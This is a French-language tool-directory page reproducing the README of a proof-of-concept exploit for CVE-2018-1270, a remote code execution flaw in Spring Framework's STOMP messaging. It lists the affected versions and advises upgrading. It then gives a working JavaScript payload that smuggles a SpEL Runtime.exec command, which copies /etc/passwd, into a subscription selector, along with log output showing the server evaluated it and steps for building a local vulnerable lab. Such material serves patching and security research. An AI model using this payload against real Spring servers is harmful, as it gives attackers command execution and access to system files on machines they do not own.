Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-1270 — Spring messaging STOMP protocol RCE | Kitploit
Outils/GitHubGitHub/caledoniaproject/cve-2018-1270
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

Spring messaging STOMP protocol RCE

Voir le dépôt
11318il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-1270 - Spring messaging Spel vulnérabilité d'exécution de code

Hier, Spring a annoncé une vulnérabilité RCE, pour en savoir plus :

  • CVE-2018-1270: Exécution de code à distance avec spring-messaging

Versions affectées

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

Cette vulnérabilité n'a pas d'exigence d'environnement. Si vous utilisez spring-messaging + websocket + STOMP, veuillez mettre à jour vers la dernière version dès que possible ; si vous utilisez SpringBoot, mettez à jour vers 2.0.1.RELEASE.

Détails de la vulnérabilité

En bref, en raison des permissions trop larges de StandardEvaluationContext, toute expression SpEL peut être exécutée, donc les officiels ont ajouté SimpleEvaluationContext après Spring 5.0.5 pour permettre une liaison de données simple, tout en conservant la flexibilité sans introduire de risques de sécurité.

spring-messaging fournit le support du protocole STOMP, permettant aux clients de s'abonner à des messages et d'utiliser un selector pour filtrer les messages, par exemple

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

Lors de votre abonnement, spring stocke ce filtre et le déclenche lorsque le client reçoit un message, par exemple

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Capture d'écran du PoC

screenshot

L'article d'analyse détaillée de la vulnérabilité sera publié plus tard.

Instructions d'utilisation de l'environnement

Compilez et démarrez le serveur Spring Boot,

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Accédez à - saisissez l'expression pour tester,

root@kitploit:~
http://localhost:8080

screenshot

Télécharger l’outil